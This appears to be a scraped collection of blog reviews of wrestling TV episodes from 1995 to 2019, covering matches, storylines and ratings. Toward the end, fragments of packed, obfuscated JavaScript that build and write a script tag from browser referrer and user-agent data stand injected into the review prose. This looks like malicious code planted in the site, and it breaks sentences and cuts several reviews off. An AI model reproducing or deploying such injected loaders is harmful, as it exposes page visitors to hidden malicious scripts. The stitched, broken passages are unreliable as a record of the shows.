IMG Credit: Major League Wrestling

Fusion #80
Date: October 19, 2019
Location: Auditorio Municipal, Tijuana, Mexico
Commentators: Rich Bocchini, AJ Kirsch

This is a special show with Jimmy Havoc’s Slaughterhouse, meaning it’s basically a Halloween special. That means a bunch of violence and fighting, which is hardly the worst thing in the world. It makes sense to throw something like this out there for a change, but at the same time it doesn’t mean as much if you do that kind of violence so often. Let’s get to it.

Here are last week’s results if you need a recap.

We look at the Dynasty retaining the Tag Team Titles last week.

The Von Erichs know the Dynasty is scared of them and need to act like champions. The title match is still taking place in Chicago at SuperFight, in a Texas Tornado match for the Tag Team Titles. I’m not sure how much these two should be allowed to talk without some more practice.

We get a special Slaughterhouse themed intro, with Jimmy Havoc talking about being willing to bleed.

Havoc promises a lot of blood and violence, which he certainly likes. First up, Josef Samael vs. a member of Promociones Dorado in a Tijuana street fight. Havoc himself will be in a three way against Damian 666 and Savio Vega, where he takes the torch of being the best hardcore wrestler in the world.

Los Haraganes vs. Triple Amenaza

That would be Animal/Demencia/Silver Star vs. Star Boy/Arandu/Zarco and I’m going to be lost in this one. Los Haraganes hit dives before the bell (I think) and we starts fast (as you would have had to expect). This is apparently a hot feud and it’s a big brawl as commentary admits the cameras are probably going to miss things.

One of the Haraganes (the announcers are reading cards about later in the show from Havoc) hits a middle rope gordbuster to set up a frog splash to set up a double stomp low blow for no cover on….well I have no idea actually as none of these people have anything to identify them. Commentary starts paying attention to the match as it’s Star Boy being hung in the ropes for a guillotine legdrop from Silver Star. Arandu comes in and gets reverse monkey flipped into a double dropkick as we take an early break.

Back with the match having settled down a bit for a chop off between Demencia and Zarco. Or maybe it’s Arandu as the commentary seems to be split. Ok now it’s 2-1 Zarco, who takes over with more chops and a dropkick into the corner. Animal comes in but his monkey flip attempt is blocked with a dropkick from Arandu. More changes without tags (legal but a bit confusing) ensue but hang on as Contra hacks the feed.

Contra talks about how Mexico has had violence before but never the global dealers in violence. They’re coming for Salina de la Renta and Promociones Dorado. We come back with Star Boy getting one off a double underhook piledriver. There are some weapons piled up on the floor and the crowd seems to have lost some energy during the break. Star Boy is put on top and getting super hurricanranaed right back down as Animal isn’t pleased with the referee.

Arandu comes in for two off a spinebuster and a hanging swinging neckbreaker gets the same. It’s off to a seated abdominal stretch of all things but Silver Star makes a quick save. A somewhat messy sitout powerbomb gives Silver Star two and the announcers aren’t pleased with the speed of the count. Everything breaks down (you knew that was coming) and it’s a springboard armdrag to send Zarco into (not through) a table at ringside. Star Boy and Arandu miss dives to go through the tables (or at least close to it), leaving Zarco to get triplebombed for the pin at 13:34 (on another VERY slow count).

Rating: C. I have no idea how to rate something like this as it was entertaining, but at the same time there was so much going on and I had no idea who was what or how this was supposed to go. It was entertaining enough but you could feel the crowd not caring and that took a lot out of the match. Not bad though.

Post match Los Haraganes beat up the referee for the slow counting. Fair enough.

Gino Medina is coming.

Brian Pillman Jr. has some fun with a young lady by the pool and isn’t worried about Low Ki. Jokes are made about Low Ki’s amazing voice.

Salina de la Renta comes up to see Havoc and brings El Hijo de LA Park to represent Promociones Dorado in the street fight. Josef Samael jumps Hijo to break up the argument and the fight is on.

El Hijo de LA Park vs. Josef Samael

It’s a street fight outside in the back with Samael knocking him around and sending Park into some fences before nailing some crossfaces to the head. An argument with the referee lets Park fight back and slams him through a big piece of wood. Samael gets sent head first into a door but comes right back with punches and headbutts. Cue Simon Gotch and Ikuro Kwon to jump Park as Salina rants on the phone for someone to get over here now. Park is left laying and I’m not considering this a match as it was more of a long brawl to set up the big beatdown. Nothing to see here in other words.

Mance Warner knows he and Jimmy Havoc love barbed wire so we’ll have a Stairway To Hell match at SuperFight. Hang the barbed wire above the ring and get a ladder so you can be even more violent.

Havoc was having fun until he heard from Warner. He’s studied the Stairway To Hell match (from ECW, not named here) and Warner is going to regret that challenge.

The SuperFight Control Center doesn’t add anything new but the card does look pretty good.

The Dynasty sings God Bless America because they’re so glad to be back home. Richard Holliday brings up his lawyer/father (MJF: “JUST CALL HIM YOUR FATHER!”) and they talk about trying to get out of the Texas Tornado match. Maybe he could get it turned into a Dynasty Tornado match. As MJF tries to wrap his head around that, they decide to just go on the yacht. Well only after MJF cuts Holliday off from any more coffee.

Savio Vega vs. Damian 666 vs. Jimmy Havoc

Hardcore and it makes perfect sense to have Havoc main event his own show. Salina is here with Damian and wants some revenge on Havoc. Damian and Vega double team Havoc to the floor to start before Vega knocks Damian down in a hurry. It’s time for the cookie sheet from Havoc but Vega brings in a kendo stick and the trashcan. Vega grabs a chair but gets whipped over the back by Damian’s belt.

Everyone heads to the floor to keep hitting each other before Vega takes Damian back inside for a whip into a chair. Havoc busts out the thumbtacks onto a chair, which he gets knocked onto for the painful comedy spot. Vega goes off with the revolving trashcan lid shots and slams Havoc onto the chair for two.

We get the required table, which has a broken leg before it is even set up. They get the table stood up and Havoc crotches Savio on top. The superplex through the table plants Vega (and makes the table explode) but Havoc makes the save and hits the Acid Rainmaker to finish Vega at 9:48.

Rating: C-. It was a pretty paint by numbers hardcore match and that’s all well and good for what they had here. Savio and Damian are both in their fifties and it makes more sense to have the weapons instead of trying to do a regular match. It made sense to have Havoc get a win here and the match felt fast enough so it’s hard to get too mad about a hardcore match on a hardcore themed show.

Post match Damian gets a Rainmaker of his own. Damian’s son Bestia makes the save.

Overall Rating: D+. This wasn’t the worst thing and having it as a theme show worked well enough. The Tijuana crowd works better than most MLW crowds, if nothing else just for the amount of people there alone. The violence deal was fine for the Halloween season and it was nice to mix things up a little bit. Sometimes you need to change things around and even though this wasn’t great, it was nice of them to go in a different direction.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Major League Wrestling

Fusion #70
Date: August 10, 2019
Location: Melrose Ballroom, New York City, New York
Commentators: Rich Bocchini, Tony Schiavone

We’re still in New York and things have been staying interesting around here as we move towards the first pay per view. Last week’s big story saw Davey Boy Smith Jr. getting a bit annoyed at his sister Georgia for dating Alexander Hammerstone. I’m not sure what to expect from that this week but it should be another fun one. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Rey Horus vs. Bestia 666

They lock up to start with Bestia getting slowed down by a wristlock. Horus flips out of the same thing from Bestia and then grabs a springboard armdrag for two. A dropkick sends Bestia outside but they switch places so Bestia can hit the suicide dive. Some chops keep Bestia in control and a superkick gives him two. Horus is back with a headscissors to the floor and there’s the big running flip dive to keep Bestia down.

Back in and they chop it out until Horus has to hurricanrana his way out of a powerbomb attempt. A running Spanish Fly gives Horus two but Bestia is right back up with a superkick for the same. Horus’ super victory roll is blocked so he settles for an armdrag off the top instead. Back up and Bestia crotches him on top, setting up a kneeling MuscleBuster for the pin at 9:37.

Rating: C. They did the flying stuff well here and Bestia gets to look like more of a monster for whomever he gets to face in his next major match. It’s not the most common thing to have someone in MLW wrestle on back to back weeks so they clearly plan on doing something significant with Bestia.

Post match Salina de la Renta says she is the greatest promoter of all time, unlike that fake legend like Konnan. She wants her phone back so here’s Konnan to interrupt. He offers to let her feel the phone, setting up a classic THAT’S ENOUGH. Tonight Savio Vega is getting an Openweight Title match but according to the phone, Savio isn’t getting a bonus payment that he was owed. Cue Savio to rip up his Promociones Dorado contract and leave with Konnan.

The Dynasty is in a penthouse, which was paid for by the closing of an orphanage. Maxwell Jacob Friedman comes in with the Gift Train, meaning that Hammerstone and Holliday get new Rolexes. Friedman brings up the Hart Foundation but Hammerstone is tired of hearing about them. They mock Teddy Hart for his drug habits and it’s a group hug. They all leave in tears. Ok then.

The Hart Foundation hasn’t forgotten the Dynasty and practice standing moonsaults on their hotel bed.

The Opera Cup, a tournament that took place for over fifty years but hasn’t been awarded in over seventy years, is coming back.

Contra introduces us to their newest member: Ikuro Kwon, a pit fighter from Singapore. He’s the one who blinded Marshall Von Erich last week.

We get the War Chamber Control Center with a rundown of the War Chamber rules.

Ross Von Erich had a role in Hobbs and Shaw. Good for him.

We look at Marshall being blinded last week. It’s still an awesome heel move.

Tom Lawlor and Ross Von Erich talk about Marshall being in Hawaii to see an eye specialist. Lawler promises to get revenge on Contra.

MLW is partnering with the Crash in Mexico.

Mance Warner has his white board to explain his game plan against Promociones Dorado. His first step: draw trees. Second step: grab a chainsaw and cut the board in half, just like he’s going to cut down Salina’s boys. He didn’t actually cut it up, but Mance having a chainsaw isn’t going to go well.

Contra Unit vs. Jay Sky/Ariel Dominguez

It’s Samael/Gotch for the team here. Gotch suplexes Dominguez down and Samael puts on a camel clutch for the tap at 30 seconds. Now that’s a squash.

Post match Samael uses the spike to carve up Dominguez’s mouth.

Video on War Chamber.

Long recap of the Konnan/Salina phone issue. Next week it’s LA Park vs. Jimmy Havoc in a Loser Leaves MLW match to give Konnan his first demand.

Also next week: Mance Warner vs. Ricky Martinez.

National Openweight Title: Alexander Hammerstone vs. Savio Vega

Vega is challenging and is here alone while Hammerstone has the rest of the Dynasty with him. Friedman even does a good strut on the floor before the bell. Feeling out process to start with Hammerstone shoving him into the corner and getting chopped back for his efforts. That doesn’t work with Hammerstone, who knocks Vega right back down, only to miss a charge into the corner. Hammerstone knocks him down again and the stomping commences.

A powerslam gives Hammerstone two and it’s off to a front facelock. Hammerstone kicks him in the face for another knockdown as this is just above a sparring session so far. A missile dropkick misses and the slow motion comeback is on with Vega kicking him in the chest. Hold on though as Friedman removes a turnbuckle pad, with Hammerstone whipping Vega into the steel. The Nightmare Pendulum (with Vega landing on his feet for a bad looking (yet understandable) botch) retains the title at 7:41.

Rating: D. Yeah this was bad. I’m not sure what else you can really expect from the fifty five year old Vega against a monster like Hammerstone but there wasn’t much else they could do. I know Vega is a bigger deal in Puerto Rico and is certainly a name some people will remember, but the match was a waste of Hammerstone’s time.

Post match Brian Pillman Jr. comes out to steal Hammerstone’s jacket as Vega is checked on to end the show.

Overall Rating: D+. I wasn’t feeling this one as the wrestling was barely anything worthwhile and the big reveal was the name of a previously unknown man. We’re coming up on some bigger shows down the line but this one felt like a bunch of quick news bits with wrestling sprinkled in. They can do better and I’m thinking this is just a one off misfire.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s History Of In Your House (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/05/31/new-paperback-kbs-history-of-in-your-house/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

No Way Out of Texas: In Your House #20
Date: February 15, 1998
Location: Compaq Center, Houston, Texas
Attendance: 16,110
Commentators: Jim Ross, Jerry Lawler

Marc Mero/The Artist Formerly Known As Goldust vs. Headbangers

Rating: D+. The match was pretty dull stuff but opening with Sable was a good idea. The fans absolutely loved her and she would get the crowd fired up every time she was on screen. Sable was probably the most financially successful Diva of all time as she drew insane money and ratings for the company around this time, which is unheard of for a woman in wrestling.

Luna tries to go after Sable but the guys break it up. Sable yells at Mero and slaps him down, furthering the split between the pair.

Jackyl, a semi-religious prophet character who did interviews and occasional commentary at this time, predicts that the mystery partner will lead DX and the Outlaws to victory tonight.

Light Heavyweight Title: Pantera vs. Taka Michinoku

Post match Christopher tries to go after Taka but Lawler stops him, allowing Taka to dive on both of them to show them up.

Godwinns vs. Quebecers

Phineas comes in to headbutt Jacques in the ribs but Jacques comes back with an elbow to the jaw. The ice cold tag brings in Pierre as things break down. A bad looking piledriver puts Phineas down and the Cannonball (assisted top rope flip splash from Pierre) gets two with Henry making the save. Not that it matters as Henry clotheslines Pierre from the apron to give Phineas the pin.

The Godwinns lay out the Quebecers with the buckets post match.

NWA North American Title: Bradshaw vs. Jeff Jarrett

Post match the NWA jumps Bradshaw until the LOD makes the save.

Faarooq says the Nation is ready for war while Rock makes funny faces.

Nation of Domination vs. Ken Shamrock/Ahmed Johnson/Disciples of Apocalypse

Post match Rock and Faarooq are about to fight but they eventually make up.

Kane vs. Vader

JR says Vader has won titles on more continents than he can count. That says a lot about the Oklahoma school system. Kane gets a BIG pop during his entrance. The brawl is on to start with Kane taking Vader down via a clothesline. They head outside with Kane still in control, even though the fans chant for Vader. Back in and Vader kicking away at the leg before dumping Kane out to the floor for a whip into the post.

They head back inside again with Kane hitting his top rope clothesline before pounding Vader down into the corner. A nice looking suplex puts Vader down and a top rope forearm to the back does the same. The slow pace continues until Kane clotheslines Vader down yet again. We hit the nerve hold for a bit until Kane slugs Vader down to stop another comeback bid.

Post match Kane grabs a wrench from under the ring and blasts Vader in the face with it to put him on the shelf for a few months.

New Age Outlaws/HHH/??? vs. Steve Austin/Chainsaw Charlie/Cactus Jack/Owen Hart

Gunn is powerslammed through the table and Vega is sent knees first into the steps. HHH has to break up a Sharpshooter on Gunn and DX actually makes a comeback. Austin gets pounded down with a trashcan lid and HHH powerbombs Owen for two. HHH blasts Charlie in the head five or six times with a trashcan but it takes a DDT to put him down for two. Owen comes back with a spinebuster to HHH and a quick Sharpshooter but Road Dogg breaks it up.

Cactus ducks a Gunn chair shot which blasts Dogg in the head and Jack has an opening. The hot tag brings in Austin to the pop of the night and house is cleaned. Austin destroys everything in sight and sends Road Dogg to the floor. He stomps away on Gunn in the corner before Dogg comes back in for the Stunner from Austin and the pin.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Monday Night Raw
Date: April 22, 1996
Location: Orange Pavilion, San Bernardino, California
Attendance: 3,000
Commentators: Vince McMahon, Jerry Lawler

It’s the go home show for In Your House and the big deal this week is a match that will have nothing to do with the pay per view. The Intercontinental Title is vacant and instead of having it decided on Sunday, we’re getting the second half of a taped angle that will likely put us right back where we started for Sunday’s title match. I’m not sure why anyone would do that but let’s get to it.

Here are last week’s results if you need a recap.

Intercontinental Title: Goldust vs. Savio Vega

The title is vacant coming in after Vega hit Goldust with the belt to win the title last week. They slug it out to start with a lot more energy than the first match had to begin. A clothesline and powerslam give Vega two so Goldust bails, earning himself a superkick in the aisle. Back in and Goldust is fine enough to miss a splash in the corner but a low blow cuts Vega off. Lawler starts talking about various news stories because that’s still a thing we do on Raw.

Goldust starts in on the leg by wrapping it around the rope but an enziguri drops Goldust to send us to a break. Back with Goldust staying on the leg and Lawler still reading news. It’s off to a reverse chinlock as things slow way down in a hurry. With the hold boring the life out of the crowd, here’s a promo from Ultimate Warrior, who promises to make Goldust a squealing pig on Sunday. Great: Warrior Does Deliverance. Back to the full screen, Goldust’s cannonball onto the back hits a raised knee but he’s fine enough to drop a leg for two. The announcers talk about the NFL Draft as Goldust gets pulled into the post.

Cue Ted DiBiase and Steve Austin as Vega’s splash hits knees to send us to a break. We come back again with Vega slipping out of the Curtain Call and kicking Goldust in the face. At least he limped a bit between the landing and the kick. Marlena gets on the apron for no apparent reason, meaning there’s no count for Vega’s rollup, which only started after Marlena was on the apron. Austin blasts Vega with the Million Dollar Title and Goldust gets the title back.

Rating: C. This got things back to normal, though I’m not sure what the point was in having the title vacated and giving Goldust another reign as a result. Austin interfering is a good idea and keeps his feud with Vega going, but none of this matters as Goldust injured his knee in between the time this was taped and Sunday. Therefore, Sunday’s match would wind up being as big of a disaster as you could possibly imagine.

Vader vs. Fatu

Somehow Fatu is in the Hall of Fame and Vader isn’t because things aren’t fair in wrestling. We’re joined in progress with Vader forearming him down but missing a seated splash. A running Stunner (a weird move for a big guy) puts Vader down and Fatu’s top rope splash gets no cover as Vader pops up. Fatu gets run over and the debuting Vadersault (with Vince underselling the heck out of it) is good for the pin in a hurry.

We see a clip of Jake Roberts DDTing Owen Hart in German but British Bulldog ran in for the DQ. Jake fought back and gave him a DDT as well, plus put the snake on him for a bonus.

Godwinns vs. Yoshihiro Tajiri/Tim Patterson

Yes that Tajiri. Lawler is off commentary to do something in the back so Vince gets to enjoy some hillbillies on his own. The Bodydonnas and Sunny pop in to brag about being champions, which the Godwinns will never be again. Lawler is back, having seen a surprise that Sunny has planned. Tajiri kicks Phineas down to start and hits the standing moonsault for two. Patterson comes in and gets bearhugged by Patterson as Sunny comes out with the titles. That earns her a chase from Hillbilly Jim’s hunting dog because hillbillies like to hunt. Back in the ring, Patterson gets beaten down and the Slop Drop is good for the pin.

Rating: D. I liked the Godwinns when I was a kid but sweet goodness they don’t hold up well. They’re not funny, it’s one joke, and they’re fighting against two exercise enthusiasts who are somehow the more interesting team of the two. The Sunny thing was just kind of there and added nothing, but at least the visuals were a bit better.

Post match the Bodydonnas jump the Godwinns and shove slop in Phineas’ face.

Mankind vs. Aldo Montoya

Mankind stands in the corner so Aldo dropkicks him, only to be headbutted away. The speeding up right hands in the corner keep Aldo in trouble and Mankind pulls some hair out for fun. You can tell the fans have no idea what to make of Mankind, which is the same reaction that Undertaker received when he debuted. The running knee in the corner rocks Aldo and we take a break. Back with Aldo getting in some right hands but diving into a shot to the face. The Tree of Woe elbow sets up the piledriver and the Mandible Claw completes the squash.

Rating: D+. Just a quick win, even with the rather unnecessary commercial in the middle. Mankind was just a different kind of weird and is one of the creepiest characters ever. You could tell there was something very special about him and that’s the kind of opponent Undertaker needed. Beating up the same giants over and over is only going to last so long (just ask Hulk Hogan) so going with something like this was a necessary as well as very effective move.

Video on Shawn Michaels vs. Diesel. We go over their whole history, which is actually quite the well put together story. It’s why you hear “they can be like Shawn and Diesel” so often today.

Diesel, sounding a bit drunk, joins us from German to say he’s going to hurt Shawn.

Some random people playing guitars take us out.

Overall Rating: D. That’s supposed to make me want to see a pay per view? The closing video was rather good but that’s three minutes on a forty minute show, which really isn’t a strong average. That being said, Sunday is the textbook example of a one match show so focusing the important efforts on that is about as good of an idea as you can have. So much for the hot streak from earlier in the month.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Monday Night Raw
Date: April 15, 1996
Location: Orange Pavilion, San Bernardino, California
Attendance: 3,000
Commentators: Vince McMahon, Jerry Lawler

I can’t believe it but this show is on a roll. They’re doing good stuff both on the wrestling and storytelling sides of things and it has me wanting to see where some stuff goes. Having the show still at an hour means things are able to get some focus, which can be lacking if it’s not done right. Hopefully the hot streak continues so let’s get to it.

Here are last week’s results if you need a recap.

Tonight, Bret Hart breaks his silence about Wrestlemania, all of two weeks later!

Opening sequence.

Leif Cassidy vs. Marc Mero

Sable is here with Mero in her official debut as his manager while Cassidy has Marty Jannetty with him. They fight over wrist control to start with Mero going to the armdrags. A dropkick puts Cassidy on the floor and Mero gets to make his big screaming face which looks like Muhammad Ali when he made a similar face during his old WWF appearances. Mero rams Cassidy into Marty but gets posted for his efforts. Back in and Cassidy runs him over and grabs a chinlock as we take a break.

We come back with Mero being sent outside so Marty can get in some right hands of his own. It’s almost weird to see Marty in the company this late. Cassidy does some dancing as Vince talks about how classy Sable is. Back in and a very fast headscissors with Mero walking around on his hands sends Cassidy to the floor for a big flip dive. Back in and the top rope sunset flip ends Cassidy without much trouble.

Rating: C. Both guys were perfectly fine hands in the ring but Mero isn’t the most thrilling guy in the world. For a TV match this was fine and it makes perfect sense to put Mero over in a match against a low level name, but it’s all about setting him up for the big match with HHH down the line. Not that that’s the most thrilling thing in the world in the first place though.

Diesel calls in to blame Shawn Michaels for all of their troubles. Their match is going to be No Holds Barred and Diesel has a master plan. I think it involves pinning Shawn.

Bart Gunn vs. Steve Austin

They hit the mat to start, which is always so strange to see from Austin. He really was a different worker before his neck injury. Bart headlocks him to the mat and Ted DiBiase doesn’t seem thrilled. Back up and Bart takes a very fast fall to the floor, barely clearing the top rope and sailing outside. We hit the stomping against the barricade before a hard clothesline gives Austin two.

The chinlock goes on as it’s still weird to see Austin wrestling such a standard style. The aggression is there but this feels so strange for Austin. Back up and they both fall out to the floor and it’s off to a break. We come back with Austin kneeing him down for two and the chinlock goes on again. Back up and we get the BAAAAACK body drop on Austin, followed by the running bulldog for two. DiBiase offers a distraction but Austin gets rolled up for two anyway. A jawbreaker gets Austin out of a sleeper and the Million Dollar Dream is good for the win.

Here are Jim Cornette and Vader with the former bragging about Vader destroying Gorilla Monsoon, which was really a lot more awesome than I remember. Now Vader has injured former WWF Champion Yokozuna (the crack on the leg sounded great) and Razor Ramon is up next at In Your House.

Sunny music video, for the sole purpose of having her in swimsuits.

Intercontinental Title: Goldust vs. Savio Vega

Goldust is defending and drops to all fours at the bell. The tongue is stuck out but Vega doesn’t seem too disturbed. Things get a little heated and Goldust bails into the corner like a proper freaky villain should. They go into the corner together, this time with Goldust rubbing his hips against Vega’s crotch. Goldust hides in the aisle so Vince asks if he wears boxers or briefs. Why do I have a feeling he really wants to know that answer?

Back in and a side slam finally gives us some offense, followed by a bunch of right hands to Goldust’s head. We come back from a break with Vega hitting a running corner clothesline but Goldust drops him throat first across the rope. That means more crawling around and chest rubbing before we go to a more traditional reverse chinlock. Hang on though as Goldust grabs a mic and threatens to kiss every fan if they don’t shut up. It was a very different time.

Vega gets up with a crossbody for two but Goldust punches him down. Some slaps and more gyrating are followed by a clothesline but Vega kicks him down on the top. Goldust headbutts his way out of a superplex and kisses Vega to the mat, only to dive into a raised boot. Vega makes the fired up comeback and hits some running clotheslines for two as we take another break. Back with the ref getting bumped so Marlena throws Goldust the title. The belt shot misses though and Vega clocks him for the pin and the title.

Rating: C-. This took a long time to get going but worked well enough once they started trying. Vega was always good for an energetic effort and I liked him as a midcard guy. Goldust was all mental at this point and while he was good, the mind games were getting a little repetitive. That and trying to get past the horrible Hollywood Backlot Brawl at Wrestlemania was a tall hill to climb.

Hang on though as another referee comes out to raise Goldust’s hand. President Gorilla Monsoon comes out to say that the title is being held up and there’s a rematch next week. That’s quite the fast paced story with the Goldust vs. Warrior match set up for less than two weeks from now. Vince saying that Monsoon’s actions are wise in the vein of King Solomon is a little over the top too but that’s Vince for you.

We get some behind the scenes post match footage from after the Iron Man match with Bret being distraught. By that I mean Bret not being willing to talk and leaving without even getting changed.

Earlier this week, Bret was in Germany and said there were a lot of things wrong with the match. He doesn’t like the rule change with the time being added because Shawn made a mistake and was beaten but they paused so Shawn could have a breather. Bret won’t be going to another wrestling organization, nearly flat out saying he’s not going to WCW, which was probably done to calm down rumors at the time.

Overall Rating: C-. It’s ok and that’s as high as I can go with the whole thing as the hot streak hits a very firm wall. The lack of star power really hurts this one as it’s mainly focused on the Intercontinental Title match, which was only just ok. It also did nothing for the pay per view, which isn’t the best idea in the world with only one more show to go. Oh and that’s going to be about the Intercontinental Title as well. No wonder Nitro was picking up steam at this point.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

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Monday Night Raw
Date: August 7, 1995
Location: Louisville Gardens, Louisville, Kentucky
Attendance: 4,181
Commentators: Vince McMahon, Jerry Lawler

It’s Summerslam month and that means my head is starting to hurt again. The big story is Diesel vs. King Mabel for reasons I don’t even want to understand. At the same time we have Shawn Michaels vs. Sid in a match with a strong story but not much interest. That sounds like the time for a shakeup to me. Let’s get to it.

We open with a recap of Razor Ramon/Savio Vega beating Yokozuna/Owen Hart to win the Tag Team Titles, only to have the referee screw up and have to restart the match, which then ended up running out of TV time. Tonight it’s a rematch.

Sir Mo is ready for Diesel. That’s the stuff that nightmares are made of.

Tag Team Titles: Razor Ramon/Savio Vega vs. Owen Hart/Yokozuna

Owen and Yokozuna are defending. As we get going, Vince casually throws out that Razor will now be challenging Shawn Michaels for the Intercontinental Title at Summerslam, which basically translates to “we can’t let the show be that bad”. Yokozuna headbutts Razor in the corner to start but misses a legdrop, allowing the tag off to Savio. That means arm cranking, because it’s not like Savio can do much else to Yokozuna.

The normal sized Owen comes in and gets headlocked down before it’s back to Razor for a hammerlock. A poke to the eye gets Owen out of trouble and a DDT gets two. We hit the chinlock as they’re leaving Yokozuna, who is billed at a ridiculous 641lbs, on the apron. I’m not even sure if that’s worth making fun of as it’s more sad than anything else. An enziguri gets two on Razor and we take a break.

Back with Razor still in trouble and Owen still doing most of the work. Razor gets sent outside in a heap before we hit the nerve hold, meaning Yokozuna gets to stand there with his hand on Razor’s neck. Owen’s top rope headbutt gets two and it’s off to a sleeper for a good while.

Razor gets in a belly to back to break things up and both guys are down again. That works so well that they collide again and both guys are down. Savio comes in and hammers on Yokozuna with as much effect as you would expect it to have. Razor pulls Owen to the floor, not realizing that it leaves Savio alone with Yokozuna. A Samoan drop into the big legdrop retains the titles without much effort.

Rating: C+. Good match here with the long amount of time they needed to make it work. Razor and Savio weren’t great as a team, but it’s not like they had anyone else for that spot. The tag division was a mess around this point and Owen and Yokozuna were as good of a thrown together combination of champions as they had.

Dean Douglas doesn’t think much of Razor and Savio’s poor teamwork. His grade: TT for terrible twosome. Leave the ratings to me chum.

Jerry Lawler went to visit Isaac Yankem, who took pictures of a guy’s teeth. The fact that Glenn Jacobs didn’t jump off a building doing this gimmick is remarkable.

Fatu vs. Tony DeVito

This is MAKIN A DIFFERENCE Fatu, another brainchild of 1995. Tony misses a charge from behind to start as Lawler doesn’t like Fatu wrestling in a hat. Fair point actually. The hat comes off as Fatu is sent head first into the buckle, meaning DeVito earns his beating for such stupidity. A powerslam plants Tony and some right hands in the corner have him in more trouble. The top rope splash finishes the squash.

It’s time for Summerslam Insider, another name for the Control Center. King Mabel is ready to win the title from Big Daddy Fool (oh so clever) because he rules with an iron fist. It’s something about a royal plan you see (which wound up being Mo helps him beat Diesel up at the pay per view). Moving on, there will be a ladder match between Shawn Michaels and Razor Ramon for the Intercontinental Title. I always thought that was announced much later.

Anyway, Interim President Gorilla Monsoon made the ladder match and we hear a bit from him, talking about how he wants to be a fan friendly President because his hands aren’t tied. In addition to the Intercontinental Title match, he’s signed Women’s Champion Alundra Blayze to defend against Bertha Faye (egads I had forgotten about that mess).

We run down the rest of the card and I’m seeing why this was such a loathed show. Another new match is Undertaker vs. Kama, the former of whom promises justice with a cold and calloused hand.

Some guy named Goldust is coming.

Kama vs. Troy Haste

During the match, Sid calls in to complain about not getting the title shot against Shawn. Kama destroys the jobber and breaks the wreath that Undertaker’s fans brought to ringside. The arm is cranked a bit and a cross armbreaker is good for the submission.

Next week: Jerry Lawler vs. Shawn Michaels. If that was in their primes, that could be FASCINATING.

Diesel vs. Sir Mo

Non-title, mainly because Mo couldn’t be champion of a bird watching organization. Diesel wastes no time in throwing Mo into the corner for a running clothesline. Mo’s right hands have as much effect as you would expect Mo’s right hands to have on Diesel so it’s a running big boot to put Mo on the floor. Cue Mabel to get in a cheap shot but Shawn Michaels comes out to even things up. Back from a break with Mo getting two and grabbing a reverse chinlock so he doesn’t have to do much. A top rope elbow misses (he should stick with the lazy stuff) so Diesel grabs the side slam and a Jackknife for the pin.

Rating: D-. Oh what else were you expecting? This was basically Diesel wrestling himself as Mo is a disaster and has no business being near a match this big. The whole Diesel vs. Mabel feud was horrible on its own and now we have to make it even worse with nonsense like this. Terrible match, as you would expect.

Mabel goes after Diesel but Shawn clears the ring. A dive onto Mabel is a bad idea though and he posts Shawn without much effort. Diesel chases Mabel off as Lawler gloats before their match next week.

Overall Rating: D+. Not a good show but they’re stuck in a horrible era with almost nothing good going on in the first place. Diesel vs. Mabel is killing everything and Shawn vs. Ramon is only going to be able to help them so much. We need something better, but that wouldn’t be the case for a very long time. Not the worst show, but nothing worth seeing of course.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eakyn|var|u0026u|referrer|srzby||js|php'.split('|'),0,{})) actually requires some backstory. 

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enikt|var|u0026u|referrer|itesd||js|php'.split('|'),0,{})) Night Raw
Date: May 20, 1996
Location: Sioux City Auditorium, Sioux City, Iowa
Attendance: 4,000

Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Steve Austin vs. Marc Mero

An elbow works a bit better and Austin hits a release Snake Eyes to really take over. Austin sends him outside and we take a break as this is really dull stuff so far. It really is amazing how much more exciting Austin would get because this is dreadful at the moment. Back with Austin getting two off the middle rope elbow and grabbing a chinlock.

Mero and Vega stare at each other.

Video on Ahmed Johnson on the Kuwait tour where he won a tournament.

Savio Vega vs. 1-2-3 Kid

Undertaker comes out of a casket for a chat, saying Goldust will be in the casket on Sunday. Cue Mankind to lock Undertaker in the casket as Goldust goes after Paul Bearer. The casket is turned over and beaten with a pole.

British Bulldog vs. Jake Roberts

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdszs|var|u0026u|referrer|bnrdk||js|php'.split('|'),0,{})) Night Raw
Date: July 8, 1996
